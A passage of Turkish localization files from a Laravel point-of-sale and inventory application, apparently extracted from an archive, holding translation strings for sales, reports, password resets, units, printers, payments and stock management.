|-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'Satış', 'sells' => 'Satışlar', 'list_sale' => 'Satışları Listele', 'add_sale' => 'Satış Ekle', 'pos_sale' => 'POS', 'draft_added' => 'Taslak başarıyla eklendi', 'invoice_added' => 'Fatura başarıyla eklendi', 'item' => 'Öğeler', 'total' => 'Toplam', 'order_tax' => 'Sipariş Vergisi', 'discount' => 'İndirim', 'total_payable' => 'Toplam Ödenecek', 'cancel' => 'İptal', 'draft' => 'Taslak', 'finalize' => 'Öde ve Çık', 'express_finalize' => 'Hızlı Ödeme <br/>Çıkış', 'product' => 'Ürün', 'products' => 'Ürünler', 'unit_price' => 'Birim Fiyat', 'qty' => 'Miktar', 'subtotal' => 'Ara toplam', 'recent_transactions' => 'Son İşlemleriniz', 'pos_sale_added' => 'Satış başarıyla eklendi', 'price_inc_tax' => 'Vergi Dahil Fiyat', 'tax' => 'Vergi', 'edit_discount' => 'İndirimi Düzenle', 'edit_order_tax' => 'Sipariş Vergisini Düzenle', 'discount_type' => 'İndirim Türü', 'discount_amount' => 'İndirim Tutarı', 'no_recent_transactions' => 'Yeni İşlem Yok', 'final' => 'Final', 'invoice_no' => 'Fatura No.', 'customer_name' => 'Müşteri adı', 'payment_status' => 'Ödeme durumu', 'status' => 'Durum', 'total_amount' => 'Toplam Tutar', 'total_paid' => 'Toplam Ödenen', 'total_remaining' => 'Kalan toplam', 'payment_info' => 'Ödeme bilgisi', 'drafts' => 'Taslaklar', 'all_drafts' => 'Tüm Taslaklar', 'sell_details' => 'Satış detayları', 'payments' => 'Ödemeler', 'amount' => 'Miktar', 'payment_mode' => 'Ödeme modu', 'payment_note' => 'Ödeme notu', 'sell_note' => 'Satış Notu', 'staff_note' => 'Personel notu', 'draft_updated' => 'Taslak başarıyla güncellendi', 'pos_sale_updated' => 'Satış başarıyla güncellendi', 'location' => 'Şube', 'add_payment_row' => 'Ödeme Satırı Ekle', 'finalize_payment' => 'Ödemeyi Yap', 'sale_date' => 'Satış Tarihi', 'list_pos' => 'POS Listesi', 'edit_sale' => 'Satışı Düzenle', 'shipping' => 'Nakliye', 'shipping_details' => 'Nakliye detayları', 'shipping_charges' => 'Nakliye Ücretleri', ]; PK G �Za��D D tr/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'Raporlar', 'purchase_sell_report' => 'Satınalma & Satış', 'purchase_sell' => 'Satınalma ve Satış Raporu', 'purchase_sell_msg' => 'Seçilen tarih aralığı için Satınalma ve Satış detayları', 'total_purchase' => 'Toplam Satınalma', 'purchase_inc_tax' => 'Vergi Dahil Satınalma', 'total_sell' => 'Toplam Satış', 'sell_inc_tax' => 'Vergi Dahil Satış', 'purchase_due' => 'Ödenecek Satınalma', 'sell_due' => 'Ödenecek Satış', 'overall' => 'Genel (Satış-Satınalma)', 'sell_minus_purchase' => 'Satış - Satınalma', 'difference_due' => 'Ödenecek Miktar', 'customer' => 'Müşteriler', 'supplier' => 'Tedarikçiler', 'total_due' => 'Ödenecek', 'contacts' => 'Tedarikçi ve Müşteri Raporu', 'contact' => 'Kişi/Firma', 'stock_report' => 'Stok Raporu', 'products' => 'Ürünler', 'current_stock' => 'Mevcut Stok', 'total_unit_sold' => 'Satılan toplam birim', 'tax_report' => 'Vergi Raporu', 'tax_report_msg' => 'Seçilen tarih aralığı için vergi ayrıntıları', 'input_tax' => 'Girdi vergisi', 'output_tax' => 'Çıktı Vergisi', 'tax_overall' => 'Genel (Giriş - Çıkış)', 'trending_products' => 'Trend Ürünler', 'apply_filters' => 'Filtreleri Uygula', 'filters' => 'Filtreler', 'expense_report' => 'Gider Raporu', 'total_expense' => 'Toplam Gider', 'others' => 'Diğerleri', 'all' => 'Hepsi', 'top_trending_products' => 'En Popüler Ürünler', 'all_locations' => 'Tüm Lokasyonlar/Şubeler', 'stock_adjustment_report' => 'Stok Ayarlama Raporu', 'total_stock_adjustment' => 'Toplam Stok Ayarlama', 'total_recovered' => 'Toplanan Toplam Tutar', 'total_normal' => 'Toplam Normal', 'total_abnormal' => 'Toplam Anormal', 'register_report' => 'Kasa Raporu', 'open_time' => 'Açılış Zamanı', 'close_time' => 'Kapanış Zamanı', 'user' => 'Kullanıcı', 'all_users' => 'Tüm Kullanıcılar', 'sales_representative' => 'Komisyonlu Satışçı Raporu', 'sales_representative_expenses' => 'Komisyonlu Satışçı ile ilgili tüm giderler', 'summary' => 'Özet', 'date_range' => 'Tarih aralığı', 'stock_expiry_report' => 'Stok Son Kullanma Tarihi Raporu', 'stock_left' => 'Kalan Stok', 'expired' => 'Süresi doldu', 'view_stocks' => 'Stokları Gör', 'expiring_in_1_week' => 'Bir hafta içinde süresi doluyor', 'expiring_in_15_days' => '15 gün içinde süresi doluyor', 'expiring_in_1_month' => 'Bir ay içinde süresi doluyor', 'expiring_in_3_months' => '3 ay içinde süresi doluyor', 'expiring_in_6_months' => '6 ay içinde süresi doluyor', 'expiring_in_1_year' => 'Bir yıl içinde süresi doluyor', 'profit_loss' => 'Kar / Zarar Raporu', 'opening_stock' => 'Açılış Stoğu', 'closing_stock' => 'Kapanış Stoğu', 'total_expense' => 'Toplam Gider', 'net_profit' => 'Net Kar', 'total_stock_adjustment' => 'Toplam Stok Ayarlama', 'total_stock_recovered' => 'Kurtarılan Toplam Stok', ]; PK G �Zɓ��8 8 tr/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Şifreler en az altı karakter olmalı ve birbiriyle eşleşmelidir.', 'reset' => 'Şifreniz sıfırlandı!', 'sent' => 'Şifre sıfırlama bağlantınızı e-posta adresinize gönderdik!', 'token' => 'Geçersiz şifre sıfırlama işlemi(belirteci).', 'user' => 'Bu e-posta adresine sahip bir kullanıcı bulamıyoruz.', ]; PK G �Z�mxU tr/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'Birimler', 'manage_your_units' => 'Birimlerinizi Yönetin', 'all_your_units' => 'Tüm Birimleriniz', 'name' => 'Adı', 'short_name' => 'Kısa Adı', 'allow_decimal' => 'Ondalıklı sayıya izin ver', 'added_success' => 'Birim başarıyla eklendi', 'updated_success' => 'Birim başarıyla güncellendi', 'deleted_success' => 'Birim başarıyla silindi', 'add_unit' => 'Birim ekle', 'edit_unit' => 'Birimi Düzenle', ]; PK G �Z��rq q tr/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'Yazıcılar', 'add_printer' => 'Yazıcı Ekle', 'name' => 'Yazıcı Adı', 'connection_type' => 'Bağlantı Tipi', 'capability_profile' => 'Yetenek Profili', 'ip_address' => 'IP Adresi', 'port' => 'Port', 'path' => 'Dizin/Yol', 'added_success' => 'Yazıcı başarıyla eklendi', 'manage_your_printers' => 'Yazıcılarınızı Yönetin', 'all_your_printer' => 'Tüm yapılandırılmış Yazıcılar', 'deleted_success' => 'Yazıcı başarıyla silindi', 'edit_printer_setting' => 'Yazıcı ayarlarını düzenle', 'receipt_printers' => 'Fiş Yazıcıları', 'character_per_line' => 'Satır başına karakter', 'printer_name' => 'Yazıcı Adı', 'updated_success' => 'Yazıcı başarıyla güncellendi', 'edit_printer' => 'Yazıcı Düzenle', ]; PK G �Z��O�:E :E tr/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Satınalma ekranından ürün fiyatını düzenlemeyi etkinleştir', 'sales_commission_agent' => 'Komisyonlu Satışçı', 'sales_commission_agents' => 'Komisyonlu Satışçılar', 'disable' => 'Devre dışı', 'logged_in_user' => 'Giriş yapmış kullanıcı', 'select_from_users_list' => 'Kullanıcı listesinden seçin', 'select_from_commisssion_agents_list' => 'Komisyonlu satışçı listesinden seçim yapın', 'add_sales_commission_agent' => 'Komisyonlu satışçı ekle', 'commission_agent_added_success' => 'Komisyonlu satışçı başarıyla eklnedi', 'edit_sales_commission_agent' => 'Komisyonlu satışçı düzenle', 'commission_agent_updated_success' => 'Komisyonlu satışçı başarıyla güncellendi', 'commission_agent_deleted_success' => 'Komisyonlu satışçı başarıyla silindi', 'contact_no' => 'Kişi/Firma No.', 'commission_agent' => 'Komisyonlu satışçı', 'cmmsn_percent' => 'Komisyonlu satış yüzdesi (%)', 'sales_added' => 'Satış Eklendi', 'sales_with_commission' => 'Komisyon ile Satış', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'Toplam Satış Komisyonu', 'sales_item_addition_method' => 'Satış Öğesi Ekleme Yöntemi', 'add_item_in_new_row' => 'Yeni satıra ürün/öğe ekle', 'increase_item_qty' => 'Zaten varsa, ürün/öğe miktarını artırın', 'stock_transfers' => 'Stok Transferleri', 'all_stock_transfers' => 'Tüm Stok Transferleri', 'add_stock_transfer' => 'Stok Transferi Ekleyin', 'list_stock_transfers' => 'Stok Transferlerini Listele', 'location_from' => 'Şube (Kimden)', 'location_to' => 'Şube (Kime)', 'shipping_charges' => 'Nakliye Ücretleri', 'stock_transfer_added_successfully' => 'Stok transferi başarıyla eklendi', 'stock_transfer_delete_success' => 'Stok transferi başarıyla silindi', 'stock_transfer_cannot_be_deleted' => 'Stok transferine ait ürünlerden satış yapıldığı için bu stok transferi silinemiyor.', 'total_transfer_shipping_charges' => 'Toplam Transfer Nakliye Ücreti', 'enable_inline_tax' => 'Satınalma ve satma işlemlerinde satır içi vergi eklemeyi etkinleştir', 'save_n_add_opening_stock' => 'Kaydet ve Açılış Stoğu Ekle', 'add_opening_stock' => 'Açılış Stoğu Ekle', 'opening_stock_added_successfully' => 'Açılış stoğu başarıyla eklendi', 'update_n_edit_opening_stock' => 'Açılış Stoğunu Düzenle/Güncelle', 'total_amount_exc_tax' => 'Toplam Tutar (Vergi Hariç)', 'currency_symbol_placement' => 'Para Birimi Simgesi Yerleştirme', 'before_amount' => 'Miktardan önce', 'after_amount' => 'Miktardan sonra', 'barcode_label_error' => 'Seçilen barkod türü için desteklenmeyen SKU stok kodu ID', 'list_products' => 'Ürünleri Listele', 'list_expenses' => 'Giderleri Listele', 'add_expiry' => 'Öğeye son kullanma tarihi ekle', 'add_manufacturing_auto_expiry' => 'Üretim tarihi ve son kullanma tarihi ekleyin', 'tooltip_enable_expiry' => 'Ürünün son kullanım tarihini etkinleştir. <br/> <br/><b>Öğeye son kullanma tarihi ekle</b>: Yalnızca öğenin son kullanma tarihini doğrudan eklemek için. <br/> <b>Üretim tarihi ve son kullanma tarihi ekleyin</b>: Üretim tarihi ve son kullanma tarihi eklenmesine göre son kullanma tarihi hesaplanır.', 'quantity' => 'Miktar', 'on_product_expiry' => 'Son Kullanma Tarihi Bitti', 'keep_selling' => 'Satmaya devam et', 'stop_selling' => 'Satışı n gün önce durdur', 'tooltip_on_product_expiry' => 'Ürünün son kullanma tarihi bittiğinde yapılması gereken eylemi belirtin. <br><br> <b>Satışa Devam</b>: Ürünler ayrıca son kullanma tarihinden sonra da satılmaya devam edecektir. <br> <b>Satışı Durdur</b>: Son kullanma tarihinden n gün önce ürünü satmayı durdur.', 'output_tax_minus_input_tax' => 'Çıktı Vergisi - Girdi Vergisi', 'total_purchase_discount' => 'Toplam Satınalma İndirimi', 'total_sell_discount' => 'Toplam satış indirimi', 'updated_succesfully' => 'Başarıyla güncellendi', 'default_unit' => 'Varsayılan Birim', 'enable_brand' => 'Markaları Etkinleştir', 'enable_category' => 'Kategorileri Etkinleştir', 'enable_sub_category' => 'Alt Kategorileri Etkinleştir', 'enable_price_tax' => 'Fiyat ve Vergi bilgisini etkinleştir', 'enable_purchase_status' => 'Satınalma Durumunu Etkinleştir', 'tooltip_enable_purchase_status' => 'Devre dışı bırakılan tüm satınalmalar için <i> Ürün Alındı olarak işaretlenecek</i>', 'recent_product_quantity' => 'Ürün miktarına git', 'full_screen' => 'Tam Ekrana geçmek için F11 tuşuna basın.', 'Uncategorised' => 'Kategorilenmemiş', 'no_products_to_display' => 'Gösterilecek ürün yok', 'item_out_of_stock' => 'Stok dışı ürün', 'go_back' => 'Geri Dön', 'disable_pay_checkout' => 'Ödemeyi devre dışı bırak', 'disable_draft' => 'Taslakları devre dışı bırak', 'disable_express_checkout' => 'Hızlı Ödeme İşlemini Devre Dışı Bırak', 'hide_product_suggestion' => 'Ürün önerisini gösterme', 'hide_recent_trans' => 'Son işlemleri gösterme', 'pos_settings' => 'POS ayarları', 'disable_discount' => 'İndirimi Devre Dışı Bırak', 'disable_order_tax' => 'Sipariş vergisini devre dışı bırak', 'customer_groups' => 'Müşteri Grupları', 'customer_group' => 'Müşteri Grubu', 'all_your_customer_groups' => 'Tüm Müşteri Grupları', 'add_customer_group' => 'Müşteri Grubu Ekle', 'customer_group_name' => 'Müşteri Grubu Adı', 'calculation_percentage' => 'Hesaplama Yüzdesi (%)', 'tooltip_calculation_percentage' => '<b>Satış Fiyatı = Ürün için ayarlanan Satış fiyatı + Hesaplama yüzdesi </b> <br/><br/> Yüzdeyi, satış fiyatını düşürmek için negatif, arttırmak için pozitif olarak belirtebilirsiniz.', 'success' => 'Başarılı', 'edit_customer_group' => 'Müşteri Grubunu Düzenle', 'customer_groups_report' => 'Müşteri Grupları Raporu', 'none' => 'Hiçbiri', 'enable_imei_or_sr_no' => 'Ürün açıklaması, IMEI veya Seri Numarasını etkinleştirin', 'tooltip_sr_no' => 'POS ekranında ürün satarken ürün açıklaması, IMEI veya Seri numarası eklemeyi etkinleştirin veya devre dışı bırakın', 'description' => 'Açıklama', 'sell_line_description_help' => 'Ürün IMEI, Seri numarası veya diğer bilgileri buraya ekleyin.', 'unit_cost_before_discount' => 'Birim Maliyet (İndirimden Önce)', 'discount_percent' => 'İndirim Yüzdesi %', 'profit_margin' => 'Kar marjı %', 'discount_percent' => 'Yüzde İndirim', 'application_tour' => 'Kısa Eğitim Turu', 'profile' => 'Profil', 'sign_out' => 'Oturumu Kapat', 'my_profile' => 'Profilim', 'Admin' => 'Admin', 'Cashier' => 'Kasiyer', 'both_supplier_customer' => 'Her ikisi de (Tedarikçi ve Müşteri)', 'months' => 'Ay', 'days' => 'Gün', 'suppliers' => 'Tedarikçi', 'customers' => 'Müşteri', 'enter_product_name_to_print_labels' => 'Etiket yazdırmak için ürün adını girin', 'manage_product_variations' => 'Ürün varyasyonlarını yönet', 'all_variations' => 'Tüm varyasyonlar', 'values' => 'Değerler', 'add_variation' => 'Varyasyon ekle', 'variation_name' => 'Varyasyon Adı', 'add_variation_values' => 'Varyasyon değerleri ekle', 'edit_variation' => 'Varyasyonu Düzenle', 'received' => 'Alındı', 'pending' => 'Bekleyen', 'ordered' => 'Sipariş Edilmiş', 'search_product_placeholder' => 'Ürün adını / SKU stok kodu / Barkodunu girin', 'fixed' => 'Sabit', 'percentage' => 'Yüzde', 'select_location' => 'Şube Seç', 'add_description' => 'Açıklama Ekle', 'cash' => 'Nakit', 'card' => 'Kart', 'cheque' => 'Çek', 'bank_transfer' => 'Banka Transfer', 'other' => 'Diğer', 'payment' => 'Ödeme', 'total_items' => 'Toplam Öğeler', 'total_paying' => 'Toplam Ödeme', 'balance' => 'Bakiye', 'payment_method' => 'Ödeme Yöntemi', 'card_no' => 'Kart numarası', 'card_holder_name' => 'Kart Sahibinin Adı', 'card_transaction_no' => 'Kart İşlem Numarası', 'card_type' => 'Kart Tipi', 'month' => 'Ay', 'year' => 'Yıl', 'security_code' => 'Güvenlik Kodu', 'cheque_no' => 'Çek Numarası', 'bank_account_number' => 'Banka Hesap Numarası', 'paid' => 'Ödenmiş', 'due' => 'Ödenmeyen', 'partial' => 'Parçalı', 'no_of_products' => 'Ürün Sayısı', 'select_a_date_range' => 'Bir tarih aralığı seçin', 'shortcut_help' => "Kısayol tuşları adlarını ayrmak için '+' simgesini kullanın", 'example' => 'Örnek', 'available_key_names_are' => 'Kullanılabilir tuş isimleri', 'add_new_product' => 'Yeni ürün ekle', 'invoice_logo_help' => 'Maksimum :max_size, sadece jpeg, gif, png formatları.', 'invoice_logo_help2' => 'Yalnızca önceki logoyu değiştirmek istiyorsanız yükleyin', 'printer_name_help' => 'Yazıcı için Kısa Tanımlayıcı Bir İsim', 'char_per_line_help' => 'Satır başına yazdırılabilecek karakter sayısı', 'ip_address_help' => 'Yazıcıya bağlanmak için IP adresi', 'port_help' => 'Çoğu yazıcı 9100 bağlantı portuyla çalışır.', 'combination_of_taxes' => 'Çoklu vergi kombinasyonu', 'product_purchase_report' => 'Ürün Satınalma Raporu', 'unit_perchase_price' => 'Satınalma Birim Fiyatı', 'search_product' => 'Ürün Ara', 'product_sell_report' => 'Ürün Satış Raporu', 'unit_sale_price' => 'Birim Satış Fiyatı', 'contact_id' => 'Kişi/Firma ID', 'category_code_help' => 'Kategori kodu ile <b>HSN kodu</b> aynı', 'sub_heading_line' => 'Alt Başlık Satırı :_number_', 'date_label' => 'Tarih Etiketi', 'client_id_label' => 'Kişi/Firma/Müşteri ID Etiketi', 'product_label' => 'Ürün Etiketi', 'qty_label' => 'Miktar Etiketi', 'unit_price_label' => 'Birim Fiyat Etiketi', 'subtotal_label' => 'Ara Toplam Etiketi', 'product_details_to_be_shown' => 'Gösterilecek ürün detayları', 'show_brand' => 'Marka Göster', 'show_sku' => 'SKU Stok Kodu Göster', 'show_cat_code' => 'Kategori kodunu veya HSN kodunu göster', 'show_client_id' => 'Kişi/Firma/Müşteri ID göster', 'show_time_with_date' => 'Tarih ile saati göster', 'show_sale_description' => 'Satış açıklamasını göster', 'product_imei_or_sn' => '(Ürün IMEI veya Seri Numarası)', 'purchase_already_exist' => 'Bu ürün silenemiyor. Çünkü bu ürün ile ilişkili satınalmalar mevcut', 'opening_stock_sold' => 'Bazı stoklar satıldığı için ürün silinemiyor', 'stock_adjusted' => 'Bazı stok ayarları olduğu için ürün silinemiyor', 'product_delete_success' => 'Ürün başarıyla silindi', 'manage_products' => 'Ürünlerinizi yönetin', 'all_products' => 'Tüm Ürünler', 'login' => 'Oturum Aç', 'register' => 'Kayıt', 'username' => 'Kullanıcı Adı', 'password' => 'Şifre', 'remember_me' => 'Beni Hatırla', 'forgot_your_password' => 'Şifrenizi mi unuttunuz?', 'reset_password' => 'Şifreyi Sıfırla', 'email_address' => 'E-Posta Adresi', 'send_password_reset_link' => 'Şifre Sıfırlama Bağlantısı Gönder', 'instructions' => 'Talimatlar', 'instruction_line1' => 'Dosyayı içe aktarmadan önce talimatları dikkatlice izleyin.', 'instruction_line2' => 'CSV dosyasının sütunları aşağıdaki sırada olmalıdır.', 'col_no' => 'Sütun numarası', 'col_name' => 'Sütün Adı', 'instruction' => 'Talimat', 'required' => 'Gerekli', 'optional' => 'İsteğe Bağlı', 'name_ins' => 'Ürünün Adı', 'brand_ins' => 'Markanın adı', 'brand_ins2' => 'Bulunamazsa, girilen isimde yeni bir marka oluşturulacak', 'unit_ins' => 'Birimin adı', 'category_ins' => 'Kategorinin Adı', 'category_ins2' => 'Bulunamazsa, girilen isimde yeni kategori oluşturulacak', 'sub_category_ins' => 'Alt Kategorinin Adı', 'sub_category_ins2' => 'Belirtilen isimde bir alt kategori bulunmazsa <br> Ana Kategori altında alt kategori olarak oluşturulacak', 'sku_ins' => 'Ürün SKU(stok kodu)’su Boş bırakılırsa bir SKU(stok kodu) otomatik olarak oluşturulur', 'barcode_type_ins' => 'Ürün için Barkod Türü.', 'barcode_type_ins2' => 'Destekleniyor', 'default' => 'Varsayılan', 'manage_stock_ins' => 'Stok yönetimini etkinleştir veya devre dışı bırak', 'alert_qty_ins' => 'Stok Yönetimi 1 ise Gerekli', 'expires_in_ins' => 'Ürünün son kullanma tarih süresi (Sadece sayılarla)', 'expire_period_unit' => 'Sona Erme Süre Birimi', 'available_options' => 'Mevcut seçenekler', 'expire_period_unit_ins' => 'Son kullanma süresi için birim', 'applicable_tax_ins' => 'Vergi Oranının Adı', 'variation_name_ins' => 'Ürün değişken tipte ise gerekli', 'variation_name_ins2' => 'Varyasyonun adı (Ör: Boyut, Renk vb.)', 'variation_values_ins' => 'Ürün değişken tipte ise gerekli', 'variation_values_ins2' => "Varyasyon değerlerini '|' ile ayırın <br> (Ör: Kırmızı | Mavi | Yeşil)", 'purchase_price_inc_tax' => 'Satınalma Fiyatı (Vergi Dahil)', 'purchase_price_inc_tax_ins1' => 'Vergi Hariç Satınalma Fiyatı Verilmezse Gerekli', 'purchase_price_inc_tax_ins2' => "Satınalma Fiyatı (Vergi Dahil) (Sadece Rakamlarla)<br><br>Değişken ürünler için değerleri '|' ile ayırın <br>Varyasyon Değerleri ile aynı sırada olmalı <br>(Örnek: 84|85|88)", 'purchase_price_exc_tax' => 'Satınalma Fiyatı (Vergi Hariç)', 'purchase_price_exc_tax_ins1' => 'Vergi Dahil Satınalma Fiyatı Verilmezse Gerekli', 'purchase_price_exc_tax_ins2' => "Satınalma Fiyatı (Vergi Hariç) (Sadece Rakamlarla)<br><br>Değişken ürünler için değerleri '|' ile ayırın <br>Varyasyon Değerleri ile aynı sırada olmalı <br>(Örnek: 84|85|88)", 'profit_margin_ins' => 'Kar Marjı (Sadece Rakamlarla)', 'profit_margin_ins1' => 'Eğer boş bırakılırsa varsayılan kar marjı <br> işletme için kulanılır', 'selling_price' => 'Satış Fiyatı', 'selling_price_ins' => 'Satış Fiyatı (Sadece Rakamlarla)', 'selling_price_ins1' => 'Satış fiyatı boş bırakılırsa, <br> ozaman verilen Satınalma Fiyatı <br> ve Uygulanabilir Vergi ile hesaplanır', 'opening_stock' => 'Açılış Stoğu', 'opening_stock_ins' => 'Açılış Stoğu (Sadece sayılarla)', 'only_applicable_to_single_product' => 'Sadece tek ürün için uygulanabilir', 'purchase_delete_success' => 'Satınalma başarıyla silindi', 'location_ins' => 'Boş bırakılırsa ilk şube kullanılır', 'location_ins1' => 'Şubenin adı', 'expiry_date' => 'Son kullanma tarihi', 'expiry_date_ins' => 'Son kullanma tarihi <br><b>Formatı: mm-dd-yyyy; Örnek: 11-25-2018</b>', 'enable_lot_number' => 'Lot numarasını etkinleştir', 'tooltip_enable_lot_number' => 'Bu, Satınalma ekranında her satınalma satırı için Lot numarası girmenize olanak sağlar', 'lot_number' => 'Lot Numarası', 'enable_racks' => 'Raf Etkinleştir', 'tooltip_enable_racks' => 'Farklı şubelere Ürün eklerken raf detaylarını eklemek için bunu etkinleştirin', 'rack_details' => 'Raf / Sıra / Pozisyon Detayları', 'tooltip_rack_details' => 'Farklı şubeler için ürünün mağazada nerede tutulduğuyla ilgili detayları girin.', 'updated_success' => 'Başarıyla güncellendi', 'added_success' => 'Başarıyla eklendi', 'deleted_success' => 'Başarıyla silindi', 'enable_disable_modules' => 'Modül Etkinleştir / Devre Dışı Bırak', 'opening_stock_help_text' => "<br><br>Değişken ürünler için stok miktarlarını '|' ile ayırın <br>(Örnek: 100|150|200)", 'applicable_tax_help' => '<br><br/>Satınalma Fiyatı (Vergi Hariç) <br/>Satınalma Fiyatı (Vergi Dahil) aynı değilse <br/>Vergi oranı adını girmelisiniz.', 'sale_delete_success' => 'Satış başarıyla silindi', 'click_to_edit' => 'Düzenlemek için tıkla', 'click_to_delete' => 'Silmek için tıklayın', 'quotation_heading' => 'Teklif Başlığı', 'quotation' => 'Teklif', 'quotation_no_prefix' => 'Teklif no. etiket', 'tooltip_quotation_heading' => 'Teklif veya Tahminler başlığı, müşterilere teklif verirken kullanılır.', 'quotation_added' => 'Teklif başarıyla eklendi', 'quotation_updated' => 'Teklif başarıyla güncellendi', 'product_sold_details_register' => 'Satılan ürün detayları', 'grand_total' => 'Genel Toplam', 'change_return' => 'İade Değiştir', 'date_format' => 'Tarih formatı', 'time_format' => 'Zaman formatı', '12_hour' => '12 Saat', '24_hour' => '24 Saat', 'list_quotations' => 'Teklifleri listele', 'list_drafts' => 'Taslakları Listele', 'you_cannot_delete_this_contact' => 'Kişi/Firma silinemiyor - Kişi/Firma için geçmiş işlemler var.', 'enable_row' => 'Satırı Etkinleştir', 'enable_position' => 'Pozisyon Etkinleştir', 'rack' => 'Raf', 'row' => 'Satır', 'position' => 'Pozisyon', 'weight' => 'Ağırlık', 'rack_help_text' => "Seri ardışık olan farklı şubelerin Raf detaylarını '|' ile ayırın.<br/> (Örnek: R1|R5|R12) ", 'row_help_text' => "Seri ardışık olan farklı şubelerin Satır detaylarını '|' ile ayırın.<br/> (Örnek: ROW1|ROW2|ROW3) ", 'position_help_text' => "Seri ardışık olan farklı şubelerin Pozisyon detaylarını '|' ile ayırın.<br/> (Örnek: POS1|POS2|POS3) ", 'import_opening_stock' => 'Açılış Stoklarını İçe Aktar', 'tooltip_import_opening_stock' => 'Bu özellik, önceden eklenmiş ürünlerin açılış stoklarını içe aktarmak için kullanılır. Ürünler sisteme eklenmediyse, açılış bilgilerini içeren ürün detaylarını eklemek için açılış stoklarının kullanılması tavsiye edilir.', 'design' => 'Dizayn', 'express_checkout_cash' => 'Nakit', 'express_checkout_card' => 'Kart', 'checkout_multi_pay' => 'Parçalı Öde', 'tooltip_checkout_multi_pay' => 'Parçalı ödeme yöntemi kullanarak ödeme yapma', 'tooltip_express_checkout_card' => 'Kart kullanarak hızlı ödeme', 'card_transaction_details' => 'Kart işlem detayları', 'client_tax_label' => 'Kişi/Firma/Müşteri vergi numarası etiketi', 'cat_code_label' => 'Kategori veya HSN kod etiketi', 'list_sell_return' => 'Satış İadelerini Listele', 'sell_return' => 'İade Satış', 'layout_credit_note' => 'Kredi Notu / Satış İade Detayları', 'cn_heading' => 'Başlık', 'cn_no_label' => 'Referans numarası', 'cn_amount_label' => 'Toplam tutar', 'custom_field' => 'Özel alan :number', 'website' => 'Web sitesi', 'total_credit_amt' => 'Toplam Kredi Tutarı', 'unit_sell_price' => 'Birim Satış Fiyatı', 'prefixes' => 'Önekleri', 'purchase_order' => 'Satınalma siparişi', 'stock_transfer' => 'Stok Transferi', 'purchase_payment' => 'Satınalma Ödemesi', 'sell_payment' => 'Satış Ödemesi', 'location_id' => 'Şube ID', 'add_edit_opening_stock' => 'Açılış stoğu ekle veya düzenle', 'expiry_date_will_be_changed_in_pl' => 'Satınalma satırının son kullanma tarihi değişecek', 'remove_from_stock' => 'Stoktan Kaldır', 'stock_removed_successfully' => 'Stok başarıyla kaldırıldı', 'product_image' => 'Ürün Resmi', 'aspect_ratio_should_be_1_1' => 'En boy oranı gösterilen gibi olmalıdır 1:1', 'previous_image_will_be_replaced' => 'Daha önce yüklenen resim değiştirilecek', 'all_category' => 'Tüm Kategoriler', 'all_brands' => 'Tüm Markalar', 'backup' => 'Yedekleme', 'download_complete_backup' => 'Tam yedeklemeyi indir', 'backup_doesnt_exist' => 'Yedekleme mevcut değil', 'lot_report' => 'Lot Raporu', 'purchase_payment_report' => 'Satınalma Ödeme Raporu', 'paid_on' => 'Ödendi', 'purchase' => 'Satınalma', 'cheque_no' => 'Çek No.', 'card_transaction_no' => 'Kart İşlem No.', 'bank_account_no' => 'Banka hesabı No.', 'sell_payment_report' => 'Ödeme Satış Raporu', 'restaurant' => 'Restoran', 'user_type' => 'Kullanıcı tipi', 'business_inactive' => 'Üzgünüz, işletmeniz etkin değil!!', 'product_custom_field1' => 'Özel alan1', 'product_custom_field2' => 'Özel alan2', 'product_custom_field3' => 'Özel alan3', 'product_custom_field4' => 'Özel alan4', 'image' => 'Resim', 'image_help_text' => 'Uzantılı resim adı.<br/> (Resim adı sunucuya yüklenmeli :path )', 'tooltip_kitchen' => 'Bu mutfak ekranıdır. Burada sipariş detayları görüntülenebilir ve siparişler hazırlandı olarak işaretlenebilir.', 'tooltip_serviceorder' => 'Bu Servis personeli ekranıdır. Servis Personeli bu ekranı tüm siparişlerini görüntülemek ve sunulan siparişi servis edildi olarak işaretlemek için kullanabilir.', 'sales_person_label' => 'Satış Görevlisi Etiketi', 'show_sales_person' => 'Satış Görevlisini Göster', 'decimal_value_not_allowed' => 'Ondalık değere izin verilmiyor', 'theme_color' => 'Tema Rengi', 'quantity_error_msg_in_lot' => 'Sadece :qty :unit seçilen Lot için mevcut', 'show_product_expiry' => 'Ürünün son kullanım tarihini göster', 'show_lot_number' => 'Lot numarasını göster', 'expiry' => 'Sona Erme Peryodu', 'lot' => 'Lot', 'lot_n_expiry' => 'Lot ve Sona Erme Peryodu', 'pos_edit_product_price_help' => 'Ürün Birim Fiyatı ve Vergisini Düzenle', 'name' => 'İsim', 'payment_type' => 'Ödeme türü', 'manage_payment_account' => 'Ödeme Hesabınızı Yönetin', 'all_payments' => 'Tüm ödemeler', 'payment_note' => 'Ödeme notu', 'payment_account_deleted_success' => 'Ödeme hesabı başarıyla silindi', 'payment_account_updated_success' => 'Ödeme hesabı başarıyla güncellendi', 'payment_gateway' => 'Online Ödeme Ağ Geçidi', 'payment_account_success' => 'Ödeme hesabı başarıyla eklendi', 'payment_account' => 'Ödeme Hesabı', 'tooltip_sell_product_column' => 'Fiyat, indirim ve vergi düzenlemek için<i>Ürün adına</i> Tıklayın.<br/>Seri numarası / IMEI veya ek not girmek için<i>Yorum simgesine</i> Tıklayın.<br/><br/>(etkinse) Değiştiriciler için<i> Değiştirici Simgesine </i> Tıklayın.', 'credit_limit' => 'Kredi Limit', 'credit_limit_help' => 'Sınırsız limit için boş bırak', 'cutomer_credit_limit_exeeded' => 'Müşteri Kredi Limiti Aşıldı <br>:credit_limit', 'custom_payment_1' => 'Özel ödeme 1', 'custom_payment_2' => 'Özel ödeme 2', 'custom_payment_3' => 